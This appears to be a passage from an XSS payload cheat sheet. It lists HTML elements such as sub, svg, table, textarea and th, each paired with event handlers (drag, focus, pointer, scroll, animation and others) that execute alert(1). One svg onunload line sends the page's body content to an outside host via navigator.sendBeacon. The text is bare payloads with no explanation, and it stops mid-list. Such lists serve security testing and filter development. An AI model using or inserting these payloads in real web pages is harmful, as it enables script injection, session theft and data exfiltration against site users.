<sub draggable="true" ondragend="alert(1)" style=display:block>test</sub>
<sub draggable="true" ondragenter="alert(1)" style=display:block>test</sub>
<sub draggable="true" ondragleave="alert(1)" style=display:block>test</sub>
<sub draggable="true" ondragstart="alert(1)" style=display:block>test</sub>
<sub id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></sub>
<sub id=x tabindex=1 onfocus=alert(1)></sub>
<sub id=x tabindex=1 onfocusin=alert(1)></sub>
<sub onafterscriptexecute=alert(1)><script>1</script>
<sub onbeforecopy="alert(1)" contenteditable>test</sub>
<sub onbeforecut="alert(1)" contenteditable>test</sub>
<sub onbeforescriptexecute=alert(1)><script>1</script>
<sub onblur=alert(1) id=x tabindex=1 style=display:block>test</sub><input value=clickme>
<sub onclick="alert(1)" style=display:block>test</sub>
<sub oncontextmenu="alert(1)" style=display:block>test</sub>
<sub oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<sub oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<sub ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</sub>
<sub onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</sub><input value=clickme>
<sub onkeydown="alert(1)" contenteditable style=display:block>test</sub>
<sub onkeypress="alert(1)" contenteditable style=display:block>test</sub>
<sub onkeyup="alert(1)" contenteditable style=display:block>test</sub>
<sub onmousedown="alert(1)" style=display:block>test</sub>
<sub onmouseenter="alert(1)" style=display:block>test</sub>
<sub onmouseleave="alert(1)" style=display:block>test</sub>
<sub onmousemove="alert(1)" style=display:block>test</sub>
<sub onmouseout="alert(1)" style=display:block>test</sub>
<sub onmouseover="alert(1)" style=display:block>test</sub>
<sub onmouseup="alert(1)" style=display:block>test</sub>
<sub onmousewheel=alert(1) style=display:block>requires scrolling
<sub onpaste="alert(1)" contenteditable>test</sub>
<sub onpointerdown=alert(1) style=display:block>XSS</sub>
<sub onpointerenter=alert(1) style=display:block>XSS</sub>
<sub onpointerleave=alert(1) style=display:block>XSS</sub>
<sub onpointermove=alert(1) style=display:block>XSS</sub>
<sub onpointerout=alert(1) style=display:block>XSS</sub>
<sub onpointerover=alert(1) style=display:block>XSS</sub>
<sub onpointerrawupdate=alert(1) style=display:block>XSS</sub>
<sub onpointerup=alert(1) style=display:block>XSS</sub>
<sub onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></sub>
<summary contenteditable onbeforeinput=alert(1)>test
<summary draggable="true" ondrag="alert(1)" style=display:block>test</summary>
<summary draggable="true" ondragend="alert(1)" style=display:block>test</summary>
<summary draggable="true" ondragenter="alert(1)" style=display:block>test</summary>
<summary draggable="true" ondragleave="alert(1)" style=display:block>test</summary>
<summary draggable="true" ondragstart="alert(1)" style=display:block>test</summary>
<summary id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></summary>
<summary id=x tabindex=1 onfocus=alert(1)></summary>
<summary id=x tabindex=1 onfocusin=alert(1)></summary>
<summary onafterscriptexecute=alert(1)><script>1</script>
<summary onbeforecopy="alert(1)" contenteditable>test</summary>
<summary onbeforecut="alert(1)" contenteditable>test</summary>
<summary onbeforescriptexecute=alert(1)><script>1</script>
<summary onblur=alert(1) id=x tabindex=1 style=display:block>test</summary><input value=clickme>
<summary onclick="alert(1)" style=display:block>test</summary>
<summary oncontextmenu="alert(1)" style=display:block>test</summary>
<summary oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<summary oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<summary ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</summary>
<summary onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</summary><input value=clickme>
<summary onkeydown="alert(1)" contenteditable style=display:block>test</summary>
<summary onkeypress="alert(1)" contenteditable style=display:block>test</summary>
<summary onkeyup="alert(1)" contenteditable style=display:block>test</summary>
<summary onmousedown="alert(1)" style=display:block>test</summary>
<summary onmouseenter="alert(1)" style=display:block>test</summary>
<summary onmouseleave="alert(1)" style=display:block>test</summary>
<summary onmousemove="alert(1)" style=display:block>test</summary>
<summary onmouseout="alert(1)" style=display:block>test</summary>
<summary onmouseover="alert(1)" style=display:block>test</summary>
<summary onmouseup="alert(1)" style=display:block>test</summary>
<summary onmousewheel=alert(1) style=display:block>requires scrolling
<summary onpaste="alert(1)" contenteditable>test</summary>
<summary onpointerdown=alert(1) style=display:block>XSS</summary>
<summary onpointerenter=alert(1) style=display:block>XSS</summary>
<summary onpointerleave=alert(1) style=display:block>XSS</summary>
<summary onpointermove=alert(1) style=display:block>XSS</summary>
<summary onpointerout=alert(1) style=display:block>XSS</summary>
<summary onpointerover=alert(1) style=display:block>XSS</summary>
<summary onpointerrawupdate=alert(1) style=display:block>XSS</summary>
<summary onpointerup=alert(1) style=display:block>XSS</summary>
<summary onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></summary>
<sup contenteditable onbeforeinput=alert(1)>test
<sup draggable="true" ondrag="alert(1)" style=display:block>test</sup>
<sup draggable="true" ondragend="alert(1)" style=display:block>test</sup>
<sup draggable="true" ondragenter="alert(1)" style=display:block>test</sup>
<sup draggable="true" ondragleave="alert(1)" style=display:block>test</sup>
<sup draggable="true" ondragstart="alert(1)" style=display:block>test</sup>
<sup id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></sup>
<sup id=x tabindex=1 onfocus=alert(1)></sup>
<sup id=x tabindex=1 onfocusin=alert(1)></sup>
<sup onafterscriptexecute=alert(1)><script>1</script>
<sup onbeforecopy="alert(1)" contenteditable>test</sup>
<sup onbeforecut="alert(1)" contenteditable>test</sup>
<sup onbeforescriptexecute=alert(1)><script>1</script>
<sup onblur=alert(1) id=x tabindex=1 style=display:block>test</sup><input value=clickme>
<sup onclick="alert(1)" style=display:block>test</sup>
<sup oncontextmenu="alert(1)" style=display:block>test</sup>
<sup oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<sup oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<sup ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</sup>
<sup onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</sup><input value=clickme>
<sup onkeydown="alert(1)" contenteditable style=display:block>test</sup>
<sup onkeypress="alert(1)" contenteditable style=display:block>test</sup>
<sup onkeyup="alert(1)" contenteditable style=display:block>test</sup>
<sup onmousedown="alert(1)" style=display:block>test</sup>
<sup onmouseenter="alert(1)" style=display:block>test</sup>
<sup onmouseleave="alert(1)" style=display:block>test</sup>
<sup onmousemove="alert(1)" style=display:block>test</sup>
<sup onmouseout="alert(1)" style=display:block>test</sup>
<sup onmouseover="alert(1)" style=display:block>test</sup>
<sup onmouseup="alert(1)" style=display:block>test</sup>
<sup onmousewheel=alert(1) style=display:block>requires scrolling
<sup onpaste="alert(1)" contenteditable>test</sup>
<sup onpointerdown=alert(1) style=display:block>XSS</sup>
<sup onpointerenter=alert(1) style=display:block>XSS</sup>
<sup onpointerleave=alert(1) style=display:block>XSS</sup>
<sup onpointermove=alert(1) style=display:block>XSS</sup>
<sup onpointerout=alert(1) style=display:block>XSS</sup>
<sup onpointerover=alert(1) style=display:block>XSS</sup>
<sup onpointerrawupdate=alert(1) style=display:block>XSS</sup>
<sup onpointerup=alert(1) style=display:block>XSS</sup>
<sup onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></sup>
<svg contenteditable onbeforeinput=alert(1)>test
<svg draggable="true" ondrag="alert(1)" style=display:block>test</svg>
<svg draggable="true" ondragend="alert(1)" style=display:block>test</svg>
<svg draggable="true" ondragenter="alert(1)" style=display:block>test</svg>
<svg draggable="true" ondragleave="alert(1)" style=display:block>test</svg>
<svg draggable="true" ondragstart="alert(1)" style=display:block>test</svg>
<svg id=x onfocus=alert(1)>
<svg id=x onfocusin=alert(1)>
<svg id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></svg>
<svg onafterscriptexecute=alert(1)><script>1</script>
<svg onbeforecopy="alert(1)" contenteditable>test</svg>
<svg onbeforecut="alert(1)" contenteditable>test</svg>
<svg onbeforescriptexecute=alert(1)><script>1</script>
<svg onblur=alert(1) id=x tabindex=1 style=display:block>test</svg><input value=clickme>
<svg onclick="alert(1)" style=display:block>test</svg>
<svg oncontextmenu="alert(1)" style=display:block>test</svg>
<svg oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<svg oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<svg ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</svg>
<svg onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</svg><input value=clickme>
<svg onkeydown="alert(1)" contenteditable style=display:block>test</svg>
<svg onkeypress="alert(1)" contenteditable style=display:block>test</svg>
<svg onkeyup="alert(1)" contenteditable style=display:block>test</svg>
<svg onload=alert(1)>
<svg onmousedown="alert(1)" style=display:block>test</svg>
<svg onmouseenter="alert(1)" style=display:block>test</svg>
<svg onmouseleave="alert(1)" style=display:block>test</svg>
<svg onmousemove="alert(1)" style=display:block>test</svg>
<svg onmouseout="alert(1)" style=display:block>test</svg>
<svg onmouseover="alert(1)" style=display:block>test</svg>
<svg onmouseup="alert(1)" style=display:block>test</svg>
<svg onmousewheel=alert(1) style=display:block>requires scrolling
<svg onpaste="alert(1)" contenteditable>test</svg>
<svg onpointerdown=alert(1) style=display:block>XSS</svg>
<svg onpointerenter=alert(1) style=display:block>XSS</svg>
<svg onpointerleave=alert(1) style=display:block>XSS</svg>
<svg onpointermove=alert(1) style=display:block>XSS</svg>
<svg onpointerout=alert(1) style=display:block>XSS</svg>
<svg onpointerover=alert(1) style=display:block>XSS</svg>
<svg onpointerrawupdate=alert(1) style=display:block>XSS</svg>
<svg onpointerup=alert(1) style=display:block>XSS</svg>
<svg onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></svg>
<svg onunload=navigator.sendBeacon('//https://ssl.portswigger-labs.net/',document.body.innerHTML)>
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
<svg><animate onend=alert(1) attributeName=x dur=1s>
<svg><animate onrepeat=alert(1) attributeName=x dur=1s repeatCount=2 />
<svg><animatetransform onbegin=alert(1) attributeName=transform>
<svg><animatetransform onend=alert(1) attributeName=transform dur=1s>
<svg><animatetransform onrepeat=alert(1) attributeName=transform repeatCount=2 dur=1s>
<svg><image href=1 onerror=alert(1)>
<svg><image href=validimage.png onload=alert(1)>
<svg><path><animateMotion onbegin=alert(1) dur="1s" repeatCount="1">
<svg><path><animateMotion onend=alert(1) dur=1s repeatCount=1>
<svg><path><animateMotion onrepeat=alert(1) dur="1s" repeatCount="2">
<svg><set onbegin=alert(1) attributename=x dur=1s>
<svg><set onend=alert(1) attributename=x dur=1s>
<svg><set onrepeat=alert(1) attributename=x dur=1s repeatcount=2>
<table contenteditable onbeforeinput=alert(1)>test
<table draggable="true" ondrag="alert(1)" style=display:block>test</table>
<table draggable="true" ondragend="alert(1)" style=display:block>test</table>
<table draggable="true" ondragenter="alert(1)" style=display:block>test</table>
<table draggable="true" ondragleave="alert(1)" style=display:block>test</table>
<table draggable="true" ondragstart="alert(1)" style=display:block>test</table>
<table id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></table>
<table id=x tabindex=1 onfocus=alert(1)></table>
<table id=x tabindex=1 onfocusin=alert(1)></table>
<table onafterscriptexecute=alert(1)><script>1</script>
<table onbeforecopy="alert(1)" contenteditable>test</table>
<table onbeforecut="alert(1)" contenteditable>test</table>
<table onbeforescriptexecute=alert(1)><script>1</script>
<table onblur=alert(1) id=x tabindex=1 style=display:block>test</table><input value=clickme>
<table onclick="alert(1)" style=display:block>test</table>
<table oncontextmenu="alert(1)" style=display:block>test</table>
<table oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<table oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<table ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</table>
<table onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</table><input value=clickme>
<table onkeydown="alert(1)" contenteditable style=display:block>test</table>
<table onkeypress="alert(1)" contenteditable style=display:block>test</table>
<table onkeyup="alert(1)" contenteditable style=display:block>test</table>
<table onmousedown="alert(1)" style=display:block>test</table>
<table onmouseenter="alert(1)" style=display:block>test</table>
<table onmouseleave="alert(1)" style=display:block>test</table>
<table onmousemove="alert(1)" style=display:block>test</table>
<table onmouseout="alert(1)" style=display:block>test</table>
<table onmouseover="alert(1)" style=display:block>test</table>
<table onmouseup="alert(1)" style=display:block>test</table>
<table onmousewheel=alert(1) style=display:block>requires scrolling
<table onpaste="alert(1)" contenteditable>test</table>
<table onpointerdown=alert(1) style=display:block>XSS</table>
<table onpointerenter=alert(1) style=display:block>XSS</table>
<table onpointerleave=alert(1) style=display:block>XSS</table>
<table onpointermove=alert(1) style=display:block>XSS</table>
<table onpointerout=alert(1) style=display:block>XSS</table>
<table onpointerover=alert(1) style=display:block>XSS</table>
<table onpointerrawupdate=alert(1) style=display:block>XSS</table>
<table onpointerup=alert(1) style=display:block>XSS</table>
<table onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></table>
<tbody contenteditable onbeforeinput=alert(1)>test
<tbody draggable="true" ondrag="alert(1)" style=display:block>test</tbody>
<tbody draggable="true" ondragend="alert(1)" style=display:block>test</tbody>
<tbody draggable="true" ondragenter="alert(1)" style=display:block>test</tbody>
<tbody draggable="true" ondragleave="alert(1)" style=display:block>test</tbody>
<tbody draggable="true" ondragstart="alert(1)" style=display:block>test</tbody>
<tbody id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></tbody>
<tbody id=x tabindex=1 onfocus=alert(1)></tbody>
<tbody id=x tabindex=1 onfocusin=alert(1)></tbody>
<tbody onafterscriptexecute=alert(1)><script>1</script>
<tbody onbeforecopy="alert(1)" contenteditable>test</tbody>
<tbody onbeforecut="alert(1)" contenteditable>test</tbody>
<tbody onbeforescriptexecute=alert(1)><script>1</script>
<tbody onblur=alert(1) id=x tabindex=1 style=display:block>test</tbody><input value=clickme>
<tbody onclick="alert(1)" style=display:block>test</tbody>
<tbody oncontextmenu="alert(1)" style=display:block>test</tbody>
<tbody oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<tbody oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<tbody ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</tbody>
<tbody onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</tbody><input value=clickme>
<tbody onkeydown="alert(1)" contenteditable style=display:block>test</tbody>
<tbody onkeypress="alert(1)" contenteditable style=display:block>test</tbody>
<tbody onkeyup="alert(1)" contenteditable style=display:block>test</tbody>
<tbody onmousedown="alert(1)" style=display:block>test</tbody>
<tbody onmouseenter="alert(1)" style=display:block>test</tbody>
<tbody onmouseleave="alert(1)" style=display:block>test</tbody>
<tbody onmousemove="alert(1)" style=display:block>test</tbody>
<tbody onmouseout="alert(1)" style=display:block>test</tbody>
<tbody onmouseover="alert(1)" style=display:block>test</tbody>
<tbody onmouseup="alert(1)" style=display:block>test</tbody>
<tbody onmousewheel=alert(1) style=display:block>requires scrolling
<tbody onpaste="alert(1)" contenteditable>test</tbody>
<tbody onpointerdown=alert(1) style=display:block>XSS</tbody>
<tbody onpointerenter=alert(1) style=display:block>XSS</tbody>
<tbody onpointerleave=alert(1) style=display:block>XSS</tbody>
<tbody onpointermove=alert(1) style=display:block>XSS</tbody>
<tbody onpointerout=alert(1) style=display:block>XSS</tbody>
<tbody onpointerover=alert(1) style=display:block>XSS</tbody>
<tbody onpointerrawupdate=alert(1) style=display:block>XSS</tbody>
<tbody onpointerup=alert(1) style=display:block>XSS</tbody>
<tbody onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></tbody>
<td contenteditable onbeforeinput=alert(1)>test
<td draggable="true" ondrag="alert(1)" style=display:block>test</td>
<td draggable="true" ondragend="alert(1)" style=display:block>test</td>
<td draggable="true" ondragenter="alert(1)" style=display:block>test</td>
<td draggable="true" ondragleave="alert(1)" style=display:block>test</td>
<td draggable="true" ondragstart="alert(1)" style=display:block>test</td>
<td id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></td>
<td id=x tabindex=1 onfocus=alert(1)></td>
<td id=x tabindex=1 onfocusin=alert(1)></td>
<td onafterscriptexecute=alert(1)><script>1</script>
<td onbeforecopy="alert(1)" contenteditable>test</td>
<td onbeforecut="alert(1)" contenteditable>test</td>
<td onbeforescriptexecute=alert(1)><script>1</script>
<td onblur=alert(1) id=x tabindex=1 style=display:block>test</td><input value=clickme>
<td onclick="alert(1)" style=display:block>test</td>
<td oncontextmenu="alert(1)" style=display:block>test</td>
<td oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<td oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<td ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</td>
<td onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</td><input value=clickme>
<td onkeydown="alert(1)" contenteditable style=display:block>test</td>
<td onkeypress="alert(1)" contenteditable style=display:block>test</td>
<td onkeyup="alert(1)" contenteditable style=display:block>test</td>
<td onmousedown="alert(1)" style=display:block>test</td>
<td onmouseenter="alert(1)" style=display:block>test</td>
<td onmouseleave="alert(1)" style=display:block>test</td>
<td onmousemove="alert(1)" style=display:block>test</td>
<td onmouseout="alert(1)" style=display:block>test</td>
<td onmouseover="alert(1)" style=display:block>test</td>
<td onmouseup="alert(1)" style=display:block>test</td>
<td onmousewheel=alert(1) style=display:block>requires scrolling
<td onpaste="alert(1)" contenteditable>test</td>
<td onpointerdown=alert(1) style=display:block>XSS</td>
<td onpointerenter=alert(1) style=display:block>XSS</td>
<td onpointerleave=alert(1) style=display:block>XSS</td>
<td onpointermove=alert(1) style=display:block>XSS</td>
<td onpointerout=alert(1) style=display:block>XSS</td>
<td onpointerover=alert(1) style=display:block>XSS</td>
<td onpointerrawupdate=alert(1) style=display:block>XSS</td>
<td onpointerup=alert(1) style=display:block>XSS</td>
<td onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></td>
<template contenteditable onbeforeinput=alert(1)>test
<template draggable="true" ondrag="alert(1)" style=display:block>test</template>
<template draggable="true" ondragend="alert(1)" style=display:block>test</template>
<template draggable="true" ondragenter="alert(1)" style=display:block>test</template>
<template draggable="true" ondragleave="alert(1)" style=display:block>test</template>
<template draggable="true" ondragstart="alert(1)" style=display:block>test</template>
<template id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></template>
<template id=x tabindex=1 onfocus=alert(1)></template>
<template id=x tabindex=1 onfocusin=alert(1)></template>
<template onafterscriptexecute=alert(1)><script>1</script>
<template onbeforecopy="alert(1)" contenteditable>test</template>
<template onbeforecut="alert(1)" contenteditable>test</template>
<template onbeforescriptexecute=alert(1)><script>1</script>
<template onblur=alert(1) id=x tabindex=1 style=display:block>test</template><input value=clickme>
<template onclick="alert(1)" style=display:block>test</template>
<template oncontextmenu="alert(1)" style=display:block>test</template>
<template oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<template oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<template ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</template>
<template onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</template><input value=clickme>
<template onkeydown="alert(1)" contenteditable style=display:block>test</template>
<template onkeypress="alert(1)" contenteditable style=display:block>test</template>
<template onkeyup="alert(1)" contenteditable style=display:block>test</template>
<template onmousedown="alert(1)" style=display:block>test</template>
<template onmouseenter="alert(1)" style=display:block>test</template>
<template onmouseleave="alert(1)" style=display:block>test</template>
<template onmousemove="alert(1)" style=display:block>test</template>
<template onmouseout="alert(1)" style=display:block>test</template>
<template onmouseover="alert(1)" style=display:block>test</template>
<template onmouseup="alert(1)" style=display:block>test</template>
<template onmousewheel=alert(1) style=display:block>requires scrolling
<template onpaste="alert(1)" contenteditable>test</template>
<template onpointerdown=alert(1) style=display:block>XSS</template>
<template onpointerenter=alert(1) style=display:block>XSS</template>
<template onpointerleave=alert(1) style=display:block>XSS</template>
<template onpointermove=alert(1) style=display:block>XSS</template>
<template onpointerout=alert(1) style=display:block>XSS</template>
<template onpointerover=alert(1) style=display:block>XSS</template>
<template onpointerrawupdate=alert(1) style=display:block>XSS</template>
<template onpointerup=alert(1) style=display:block>XSS</template>
<template onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></template>
<textarea autofocus onfocus=alert(1)>test</textarea>
<textarea autofocus onfocusin=alert(1)>test</textarea>
<textarea contenteditable onbeforeinput=alert(1)>test
<textarea draggable="true" ondrag="alert(1)" style=display:block>test</textarea>
<textarea draggable="true" ondragend="alert(1)" style=display:block>test</textarea>
<textarea draggable="true" ondragenter="alert(1)" style=display:block>test</textarea>
<textarea draggable="true" ondragleave="alert(1)" style=display:block>test</textarea>
<textarea draggable="true" ondragstart="alert(1)" style=display:block>test</textarea>
<textarea id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></textarea>
<textarea onafterscriptexecute=alert(1)><script>1</script>
<textarea onauxclick=alert(1)>XSS</textarea>
<textarea onbeforecopy=alert(1) autofocus>XSS</textarea>
<textarea onbeforecut=alert(1) autofocus>XSS</textarea>
<textarea onbeforescriptexecute=alert(1)><script>1</script>
<textarea onblur=alert(1) id=x tabindex=1 style=display:block>test</textarea><input value=clickme>
<textarea onchange=alert(1)>XSS</textarea>
<textarea onclick="alert(1)" style=display:block>test</textarea>
<textarea oncontextmenu="alert(1)" style=display:block>test</textarea>
<textarea oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<textarea oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<textarea ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</textarea>
<textarea onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</textarea><input value=clickme>
<textarea oninput=alert(1)>XSS</textarea>
<textarea onkeydown="alert(1)" contenteditable style=display:block>test</textarea>
<textarea onkeypress="alert(1)" contenteditable style=display:block>test</textarea>
<textarea onkeyup="alert(1)" contenteditable style=display:block>test</textarea>
<textarea onmousedown="alert(1)" style=display:block>test</textarea>
<textarea onmouseenter="alert(1)" style=display:block>test</textarea>
<textarea onmouseleave="alert(1)" style=display:block>test</textarea>
<textarea onmousemove="alert(1)" style=display:block>test</textarea>
<textarea onmouseout="alert(1)" style=display:block>test</textarea>
<textarea onmouseover="alert(1)" style=display:block>test</textarea>
<textarea onmouseup="alert(1)" style=display:block>test</textarea>
<textarea onmousewheel=alert(1) style=display:block>requires scrolling
<textarea onpaste=alert(1) autofocus></textarea>
<textarea onpointerdown=alert(1) style=display:block>XSS</textarea>
<textarea onpointerenter=alert(1) style=display:block>XSS</textarea>
<textarea onpointerleave=alert(1) style=display:block>XSS</textarea>
<textarea onpointermove=alert(1) style=display:block>XSS</textarea>
<textarea onpointerout=alert(1) style=display:block>XSS</textarea>
<textarea onpointerover=alert(1) style=display:block>XSS</textarea>
<textarea onpointerrawupdate=alert(1) style=display:block>XSS</textarea>
<textarea onpointerup=alert(1) style=display:block>XSS</textarea>
<textarea onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></textarea>
<textarea onselect=alert(1) autofocus>XSS</textarea>
<tfoot contenteditable onbeforeinput=alert(1)>test
<tfoot draggable="true" ondrag="alert(1)" style=display:block>test</tfoot>
<tfoot draggable="true" ondragend="alert(1)" style=display:block>test</tfoot>
<tfoot draggable="true" ondragenter="alert(1)" style=display:block>test</tfoot>
<tfoot draggable="true" ondragleave="alert(1)" style=display:block>test</tfoot>
<tfoot draggable="true" ondragstart="alert(1)" style=display:block>test</tfoot>
<tfoot id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></tfoot>
<tfoot id=x tabindex=1 onfocus=alert(1)></tfoot>
<tfoot id=x tabindex=1 onfocusin=alert(1)></tfoot>
<tfoot onafterscriptexecute=alert(1)><script>1</script>
<tfoot onbeforecopy="alert(1)" contenteditable>test</tfoot>
<tfoot onbeforecut="alert(1)" contenteditable>test</tfoot>
<tfoot onbeforescriptexecute=alert(1)><script>1</script>
<tfoot onblur=alert(1) id=x tabindex=1 style=display:block>test</tfoot><input value=clickme>
<tfoot onclick="alert(1)" style=display:block>test</tfoot>
<tfoot oncontextmenu="alert(1)" style=display:block>test</tfoot>
<tfoot oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<tfoot oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<tfoot ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</tfoot>
<tfoot onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</tfoot><input value=clickme>
<tfoot onkeydown="alert(1)" contenteditable style=display:block>test</tfoot>
<tfoot onkeypress="alert(1)" contenteditable style=display:block>test</tfoot>
<tfoot onkeyup="alert(1)" contenteditable style=display:block>test</tfoot>
<tfoot onmousedown="alert(1)" style=display:block>test</tfoot>
<tfoot onmouseenter="alert(1)" style=display:block>test</tfoot>
<tfoot onmouseleave="alert(1)" style=display:block>test</tfoot>
<tfoot onmousemove="alert(1)" style=display:block>test</tfoot>
<tfoot onmouseout="alert(1)" style=display:block>test</tfoot>
<tfoot onmouseover="alert(1)" style=display:block>test</tfoot>
<tfoot onmouseup="alert(1)" style=display:block>test</tfoot>
<tfoot onmousewheel=alert(1) style=display:block>requires scrolling
<tfoot onpaste="alert(1)" contenteditable>test</tfoot>
<tfoot onpointerdown=alert(1) style=display:block>XSS</tfoot>
<tfoot onpointerenter=alert(1) style=display:block>XSS</tfoot>
<tfoot onpointerleave=alert(1) style=display:block>XSS</tfoot>
<tfoot onpointermove=alert(1) style=display:block>XSS</tfoot>
<tfoot onpointerout=alert(1) style=display:block>XSS</tfoot>
<tfoot onpointerover=alert(1) style=display:block>XSS</tfoot>
<tfoot onpointerrawupdate=alert(1) style=display:block>XSS</tfoot>
<tfoot onpointerup=alert(1) style=display:block>XSS</tfoot>
<tfoot onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></tfoot>
<th contenteditable onbeforeinput=alert(1)>test
<th draggable="true" ondrag="alert(1)" style=display:block>test</th>
<th draggable="true" ondragend="alert(1)" style=display:block>test</th>
<th draggable="true" ondragenter="alert(1)" style=display:block>test</th>
<th draggable="true" ondragleave="alert(1)" style=display:block>test</th>
<th draggable="true" ondragstart="alert(1)" style=display:block>test</th>
<th id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></th>
<th id=x tabindex=1 onfocus=alert(1)></th>
<th id=x tabindex=1 onfocusin=alert(1)></th>
<th onafterscriptexecute=alert(1)><script>1</script>
<th onbeforecopy="alert(1)" contenteditable>test</th>
<th onbeforecut="alert(1)" contenteditable>test</th>
<th onbeforescriptexecute=alert(1)><script>1</script>
<th onblur=alert(1) id=x tabindex=1 style=display:block>test</th><input value=clickme>
<th onclick="alert(1)" style=display:block>test</th>
<th oncontextmenu="alert(1)" style=display:block>test</th>
<th oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<th oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<th ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</th>
<th onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</th><input value=clickme>
<th onkeydown="alert(1)" contenteditable style=display:block>test</th>
<th onkeypress="alert(1)" contenteditable style=display:block>test</th>
<th onkeyup="alert(1)" contenteditable style=display:block>test</th>
<th onmousedown="alert(1)" style=display:block>test</th>
<th onmouseenter="alert(1)" style=display:block>test</th>
<th onmouseleave="alert(1)" style=display:block>test</th>
<th onmousemove="alert(1)" style=display:block>test</th>
<th onmouseout="alert(1)" style=display:block>test</th>
<th onmouseover="alert(1)" style=display:block>test</th>
<th onmouseup="alert(1)" style=display:block>test</th>
<th onmousewheel=alert(1) style=display:block>requires scrolling
<th onpaste="alert(1)" contenteditable>test</th>
<th onpointerdown=alert(1) style=display:block>XSS</th>
